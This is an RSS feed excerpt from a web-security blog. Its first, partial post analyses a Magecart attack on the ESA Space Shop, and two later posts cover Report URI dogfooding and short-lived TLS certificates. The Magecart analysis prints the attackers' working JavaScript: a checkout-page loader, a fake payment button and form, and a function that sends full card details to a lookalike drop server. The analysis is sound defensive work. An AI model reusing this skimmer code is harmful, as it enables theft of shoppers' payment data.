        document.addEventListener(&quot;DOMContentLoaded&quot;, function(){
        document.body.appendChild(jqScript);
        });
      }
    &lt;/script&gt;</code></pre><p></p><p>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes <code>checkout</code>. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive <a href="https://web.archive.org/web/20241223153137/https://www.esaspaceshop.com/" rel="noreferrer">link</a> to the ESA Space Shop that contains the above injection in the page.</p><p>Looking at the payload, you can see that once it triggers on the checkout page, it&apos;s acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.</p><p></p><pre><code>https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js</code></pre><p></p><p>This payload, whilst a little larger, is still painfully simple and has some very clear objectives. </p><p></p><pre><code>var espaceStripeHtml = &quot;*snip*&quot;;
    var cookieName = &quot;6b2ad00bbd228ca0f23879b1e050f03f&quot;;
    
    function setCustomCookie(){
    	localStorage.setItem(&quot;customCookie&quot;, cookieName);
    }
    
    function isCustomCookieSet(){
    	if (localStorage.getItem(&quot;customCookie&quot;)){
    		return true;
    	}
    	else{
    		return false;
    	}
    }
    
    
    if (!isCustomCookieSet()){
    	setInterval(function(){
    		if (jQuery(&quot;#payment-confirmation-true&quot;).length === 0 &amp;&amp; jQuery(&quot;#stripe_stripe_checkout&quot;).length !== 0){
    			var paymentButtonOrig = jQuery(&quot;#stripe_stripe_checkout&quot;).find(&quot;button[type=&apos;submit&apos;]&quot;)[0];
    			jQuery(paymentButtonOrig).attr(&quot;id&quot;, &quot;payment-confirmation&quot;);
    			var paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();
    			jQuery(paymentButtonClone).attr(&quot;id&quot;, &quot;payment-confirmation-true&quot;);
    			jQuery(paymentButtonClone).attr(&quot;type&quot;, &quot;button&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;data-bind&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;disabled&quot;);
    			jQuery(paymentButtonClone).insertBefore(paymentButtonOrig);
    			jQuery(&quot;#payment-confirmation&quot;).hide();
    			
    			jQuery(paymentButtonClone).on(&quot;click&quot;, function(){
    				//parse address
    				var checkoutCfg = window.checkoutConfig;
    				var addressObject = checkoutCfg[&apos;shippingAddressFromData&apos;];
    				
    				if (addressObject !== undefined){
    					var fName = addressObject[&apos;firstname&apos;];
    					var lName = addressObject[&apos;lastname&apos;];
    					var address = addressObject[&apos;street&apos;][0];
    					var country = addressObject[&apos;country_id&apos;];
    					var zip = addressObject[&apos;postcode&apos;];
    					var city = addressObject[&apos;city&apos;];
    					var state = addressObject[&apos;region&apos;];
    					var phone = addressObject[&apos;telephone&apos;];
    				}
    				else{
    					var fName = jQuery(&quot;input[name=&apos;firstname&apos;]&quot;).val();
    					var lName = jQuery(&quot;input[name=&apos;lastname&apos;]&quot;).val();
    					var address = jQuery(&quot;input[name=&apos;street[0]&apos;]&quot;).val();
    					var country = jQuery(&quot;select[name=&apos;country_id&apos;] option:selected&quot;).val();
    					var zip = jQuery(&quot;input[name=&apos;postcode&apos;]&quot;).val();
    					var city = jQuery(&quot;input[name=&apos;city&apos;]&quot;).val();
    					var state = jQuery(&quot;select[name=&apos;region_id&apos;] option:selected&quot;).attr(&quot;data-title&quot;);
    					var phone = jQuery(&quot;input[name=&apos;telephone&apos;]&quot;).val();
    				}
    				
    				var price = parseFloat(checkoutCfg[&apos;totalsData&apos;][&apos;base_grand_total&apos;]).toFixed(2);
    				
    				if (fName !== &quot;&quot; &amp;&amp; lName !== &quot;&quot;){
    					var espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{GRAND_TOTAL}&quot;, price);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{EMAIL}&quot;, checkoutCfg[&apos;validatedEmailValue&apos;]);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{fName}&quot;, fName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{lName}&quot;, lName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{address}&quot;, address);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{country}&quot;, country);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{state}&quot;, state);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{zip}&quot;, zip);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{city}&quot;, city);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{phone}&quot;, phone);
    					
    					document.write(espaceStripeHtmlClear);
    				}
    				else{
    					jQuery(&quot;#payment-confirmation&quot;).click();
    				}
    			});
    		}
    	}, 100);
    }
    }</code></pre><p></p><p>I&apos;ve snipped the content of the first variable as it&apos;s massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.</p><ol><li>The first thing the attackers do is check if they have already stolen the payment card details for this user... The <code>setCustomCookie()</code> function, which doesn&apos;t actually set a cookie but writes to <code>localStorage</code>, is called later when the attack succeeds and is checked with <code>isCustomCookieSet()</code>. I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times.</li><li>If the payment card details for this user have not been stolen, the script uses <code>setInterval()</code> to create a fast-polling loop to detect the presence of the Stripe payment container on the page.</li><li>Once the payment container has loaded, the real &apos;checkout&apos; button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker&apos;s button instead. </li><li>Clicking the attacker&apos;s button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can&apos;t record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow. </li><li>The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server. </li></ol><p></p><p>You can view the full Magecart payload on this <a href="https://pastebin.com/KPXai359?ref=scotthelme.ghost.io" rel="noreferrer">paste here</a>, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference <a href="https://web.archive.org/web/20241223153153/https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js" rel="noreferrer">here</a>. PasteBin won&apos;t allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function. </p><p></p><pre><code class="language-javascript">function makePayment(){
    		setCustomCookie();
    		var ccNum = ccnumE.value.replaceAll(&quot; &quot;, &quot;&quot;);
    		var expM = parseInt(ccexpE.value.split(&apos; / &apos;)[0]);
    		var expY = parseInt(ccexpE.value.split(&apos; / &apos;)[1]);
    		var cvv = parseInt(cccvvE.value);
    		
    		var resultString = ccNum   &quot;;&quot;   expM   &quot;;&quot;   expY   &quot;;&quot;   cvv   &quot;;&quot;   FName   &quot;;&quot;   LName   &quot;;&quot;   Address   &quot;;&quot;   Country   &quot;;&quot;   Zip   &quot;;&quot;   State   &quot;;&quot;   city   &quot;;&quot;   phone   &quot;;&quot;   shop;
    		
    		var resultImg = document.createElement(&quot;img&quot;);
    		resultImg.src = &quot;https://esaspaceshop.pics/redirect-non-site.php?datasend=&quot;   btoa(resultString);
    		resultImg.hidden = true;
    		document.body.appendChild(resultImg);
    		
    		//show error
    		alert(&quot;Card number is incomplete, please try again&quot;);
    		window.location.reload();
    	}</code></pre><p></p><p>The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They&apos;re then exfiltrating that data to a drop server located here:</p><pre><code>https://esaspaceshop.pics/redirect-non-site.php?datasend=</code></pre><p></p><p>Finally, just to improve the effectiveness of their attack, they&apos;re showing an error message to the user that says <code>Card number is incomplete, please try again</code>, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...</p><p></p><h4 id="where-we-could-have-stopped-this-attack">Where we could have stopped this attack</h4><p>In scenarios like these, the first thing that often gets suggested to me is that if the website didn&apos;t have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that&apos;s a completely impractical approach.</p><p>We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of <a href="https://en.wikipedia.org/wiki/Defence_in_depth_(non-military)?ref=scotthelme.ghost.io" rel="noreferrer">Defence In Depth</a> even exists. I&apos;m not saying that solutions like Report URI are the primary line of defence against attacks like these, we&apos;re not, and we shouldn&apos;t be. What I&apos;m saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong. </p><p>Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the <code>esaspaceshop.pics</code> domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we&apos;re the ideal last line of defence. </p><p></p><h4 id="esaspaceshoppics">esaspaceshop.pics</h4><p>The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.</p><p>Because this was a &apos;throwaway&apos; domain for the attackers that&apos;s only useful in this particular attack, they don&apos;t tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site. </p><p>You can test it out here: <a href="https://esaspaceshop.pics/?ref=scotthelme.ghost.io" rel="noreferrer">https://esaspaceshop.pics</a> </p><p>In related news, we also own the domain used in the Ticketmaster Magecart Attack, <code>webfotce.me</code>, which you can test here <a href="https://webfotce.me/?ref=scotthelme.ghost.io" rel="noreferrer">https://webfotce.me/</a></p><p></p><p>The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> along with a free trial, no commitment, and no strings attached: [email protected]</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us]]></title>
                <description><![CDATA[<p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look</p>]]></description>
                <link>https://scotthelme.ghost.io/eating-our-own-dogfood-what-running-report-uri-on-report-uri-taught-us/</link>
                <guid isPermaLink="false">69638d1da2de7d0001fa2bb3</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Content Security Policy]]></category>
                <category><![CDATA[Integrity Policy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 28 Jan 2026 09:36:48 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us"><p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look at a few examples of issues that we found on Report URI using Report URI, and how you can use our platform to identify exactly the same kind of problems!</p><p></p><h4 id="dogfooding">Dogfooding</h4><p>If you&apos;re not familiar with the term dogfooding, or &apos;eating your own dogfood&apos;, here&apos;s how the Oxford English Dictionary defines it:</p><p></p><blockquote>Computing slang<br>Of a company or its employees: to use a product or service developed by the company, as a means of testing it before it is made available to customers.</blockquote><p></p><p>It&apos;s pretty straightforward and something that we&apos;ve been doing quite literally since the dawn of Report URI over a decade ago. Any new feature that we introduce gets deployed on Report URI first of all, prompting changes, improvements or fixes as required. Once things are going well, we then introduce a small selection of our customers to participate in a closed beta, again to elicit feedback for the same improvement cycle. After that, the feature will go to an open beta, and finally on to general availability. We currently have two features in the final open beta stages of this process, <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> and <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a>, and it was during the dogfooding stage of these features that some of things we&apos;re doing to discuss were found.</p><p></p><h4 id="integrity-policyfinding-scripts-missing-sri-protection">Integrity Policy - finding scripts missing SRI protection</h4><p>If you&apos;re not familiar with Subresource Integrity (SRI), you can read my blog post on <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity: Securing CDN loaded assets</a>, but here&apos;s is a quick explainer. When loading a script tag, especially from a 3rd-party, we have no control over the script we get served, and that can lead to some pretty big problems if the script is modified in a malicious way. </p><p>SRI allows you to specify an integrity attribute on a script tag so that the browser can verify the file once it downloads it, protecting against malicious modification. Here&apos;s a simple example of a before and after for a script tag without SRI and then with SRI.</p><pre><code>//before
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot;&gt;
    &lt;/script&gt;
    
    //after
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot; 
    integrity=&quot;sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM=&quot; 
    crossorigin=&quot;anonymous&quot;&gt;
    &lt;/script&gt;</code></pre><p></p><p>There have been literally countless examples where SRI would have saved organisations from costly attacks and data breaches, including that time when <a href="https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io" rel="noreferrer">governments all around the World got hacked</a> because they didn&apos;t use it. That said, it can be difficult to enforce the use of SRI and make sure all of your script tags have it, until <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> came along. You can now trivially ensure that all scripts across your application are loaded using SRI by adding a simple HTTP Response Header.</p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>This will ask the browser to send a report for any script that is loaded without using SRI, and then, of course, we can go and fix that!</p><p>Here&apos;s a couple that we&apos;d missed. First, we had this one come through.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-16.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1742" height="100" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-16.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-16.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/01/image-16.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-16.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is interesting because it really should have SRI as something in the account section, and it turns out it almost did, but there was a typo!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-15.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1449" height="243" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-15.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-15.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-15.png 1449w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s an easy fix, and we found another script without SRI a little later too.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-13.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1225" height="375" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-13.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-13.png 1225w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This script was in our staff admin section and it was missing SRI, it was reported, and we fixed it!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-14.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1447" height="147" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-14.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-14.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-14.png 1447w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another great thing to consider about this is that you will only receive telemetry reports when there&apos;s a problem. If everything is running as it should be on your site, then no telemetry will be sent!</p><p></p><h4 id="content-security-policyfinding-assets-that-shouldnt-be-there">Content Security Policy - finding assets that shouldn&apos;t be there</h4><p>The whole point of CSP is to get visibility into what&apos;s happening on your site, and that can be what assets are loading, where data is being communicated, and much more. Often, we&apos;re looking for indicators of malicious activity, like JavaScript that shouldn&apos;t be present, or data being somewhere it shouldn&apos;t be. But, sometimes, we can also detect mistakes that were made during development!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-18.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1495" height="163" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-18.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-18.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-18.png 1495w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We started getting reports for these images loading on our site and because they&apos;re not from an approved source, they were blocked and reported to us. Looking closely, the images are from our <code>.io</code> domain instead of our <code>.com</code> domain, which is what we use in test/dev environments, but not in production. It seems that someone had inadvertently hardcoded a hostname that they should not have hardcoded and our CSP let us know!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-17.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1452" height="103" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-17.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-17.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-17.png 1452w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another simple fix for an issue detected quickly and easily using CSP.</p><p></p><h4 id="but-normally-we-dont-find-anything">But normally we don&apos;t find anything!</h4><p>Of course, you&apos;re only ever going to find a problem by deploying our product if you had a problem to find in the first place. Our goal is always to test these features out and make sure they&apos;re ready for our customers, but sometimes, we do happen to find issues in our own site.</p><p>I guess that&apos;s really part of the value proposition though, the difference between <em>thinking</em> you don&apos;t have a problem and <em>knowing</em> you don&apos;t have a problem. Whether or not we&apos;d found anything by deploying these features, we&apos;d have still massively improved our awareness because we could then be confident we didn&apos;t have those issues. </p><p>It just so happens that we didn&apos;t think we had any problems, but it turns out we did! Do you think you don&apos;t have any problems on your site?</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Blink and you'll miss them: 6-day certificates are here!]]></title>
                <description><![CDATA[<p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of</p>]]></description>
                <link>https://scotthelme.ghost.io/blink-and-youll-miss-them-6-day-certificates-are-here/</link>
                <guid isPermaLink="false">694688d8ab4aac00016ee79e</guid>
                <category><![CDATA[Let's Encrypt]]></category>
                <category><![CDATA[Google Trust Services]]></category>
                <category><![CDATA[TLS]]></category>
                <category><![CDATA[Short-Lived Certificates]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 19 Jan 2026 10:48:24 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp" alt="Blink and you&apos;ll miss them: 6-day certificates are here!"><p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of 47 days validity, and here we are already talking about certificates valid for less than 7 days. Let&apos;s Encrypt continue to drive the industry forwards and considerably exceed the reasonable expectations of today.</p><p></p><h4 id="getting-a-short-lived-certificate">Getting a short-lived certificate</h4><p>Of course, what you want to know is how to get one of these certificates! How you do this will change slightly depending on which tool you&apos;re using, but you need to specify the <code>shortlived</code> certificate profile when requesting your certificate from Let&apos;s Encrypt.</p><p>I&apos;m using <a href="https://acme.sh/?ref=scotthelme.ghost.io" rel="noreferrer">acme.sh</a> and here is the command I used to get one of these certs when I started playing with this last year:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --force --keylength ec-256 --server letsencrypt --cert-profile shortlived</code></pre><p></p><p>After the certificate was issued, I got my notification from Certificate Transparency monitoring via <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and I could see the full details of the certificate. Here they are:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="870" height="555" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image.png 870w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just look at that validity period!!</p><p><strong>Valid From</strong>: 15 Nov 2025<br><strong>Valid To</strong>: 22 Nov 2025</p><p>You can find the full details on the <code>shortlived</code> certificate profile from Let&apos;s Encrypt, and other supported profiles, on <a href="https://letsencrypt.org/docs/profiles/?ref=scotthelme.ghost.io#shortlived" rel="noreferrer">this page</a>. </p><p></p><h4 id="its-not-just-lets-encrypt">It&apos;s not just Let&apos;s Encrypt</h4><p>The good news is that Let&apos;s Encrypt isn&apos;t the only place that you can get your 6-day certificates from either! <a href="https://scotthelme.co.uk/another-free-ca-to-use-via-acme/?ref=scotthelme.co.uk" rel="noreferrer">Google Trust Services</a> also allows you to obtain short-lived certificates, and they have a little more flexibility in that you can request a specific number of days too. Maybe you want 6 days, 12 days, 33 days... Just specify your desired validity period in the request with your ACME client:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+6d&apos;</code></pre><p></p><p>That&apos;s another source of 6-day certificates for you, but it did get me wondering.</p><p></p><h4 id="how-low-can-you-go">How low can you go?..</h4><p>Well, fellow certificate nerds, you read my mind!</p><p>The Let&apos;s Encrypt <code>shortlived</code> profile doesn&apos;t allow for configurable validity periods, none of their profiles do, but GTS does allow for configuration of the validity period... &#x1F60E;</p><pre><code>acme.sh --issue --dns dns_cf -d one.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+1d&apos;</code></pre><p></p><p>Yes, that command does work, and yes you do get a <strong>ONE-DAY CERTIFICATE</strong>!!</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-1.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="936" height="608" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-1.png 936w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just to prove that this really is a thing, here&apos;s the PEM encoded certificate!</p><pre><code>-----BEGIN CERTIFICATE-----
    MIIDdTCCAl2gAwIBAgIQAzk1h8YknV4TAJJazYXsrjANBgkqhkiG9w0BAQsFADA7
    MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMQww
    CgYDVQQDEwNXUjEwHhcNMjUxMjE3MjEzNjE1WhcNMjUxMjE4MjIzNjExWjAfMR0w
    GwYDVQQDExRvbmUuc2NvdHRoZWxtZS5jby51azBZMBMGByqGSM49AgEGCCqGSM49
    AwEHA0IABN77LaCQqPHQ1Qx4CsEyiEVARRV5WP+qH9ZyLfO9GzJ+tLfDxROHvYPL
    YNaCgEiGBbkTOOPOX9qXJPz/g/2AQRejggFaMIIBVjAOBgNVHQ8BAf8EBAMCB4Aw
    EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPnLq
    WpoXyBO+jzNGlH1qUr6SYHkwHwYDVR0jBBgwFoAUZmlJ1N4qnJEDz4kOJLgOMANu
    iC4wXgYIKwYBBQUHAQEEUjBQMCcGCCsGAQUFBzABhhtodHRwOi8vby5wa2kuZ29v
    Zy9zL3dyMS9BemswJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMS5j
    cnQwHwYDVR0RBBgwFoIUb25lLnNjb3R0aGVsbWUuY28udWswEwYDVR0gBAwwCjAI
    BgZngQwBAgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3Ix
    L0FwMDR2SjA1Q3lBLmNybDATBgorBgEEAdZ5AgQDAQH/BAIFADANBgkqhkiG9w0B
    AQsFAAOCAQEAMsMT7AsLtQqzm0FSsDBq33M9/FAz+Su86NQurk8MXXrSjUrdSKhh
    zTv2whJcC0W3aPhoqMeeqpsLYQ4AiLgBS2LPoJz2HuFsIfOddrpI3lOHXssT2Wpc
    MjofbwEOfkDk+jV/rqbz1q+cjbM2VGfoxILgcA7KxVZX0ylvZf52c2zpA9v+sXKu
    pPFKHHDX2UNSfsPODmWLVWdfFk/ZFbr09urei8ZgdsJhRKABD9BW3aV8QP2dMISh
    OH6fWcJXrp/w1NjJqIKidMiMgaCe5TDb+j5gOJ+ZLVcKA4WdLtcVYpQIXiT8mIeO
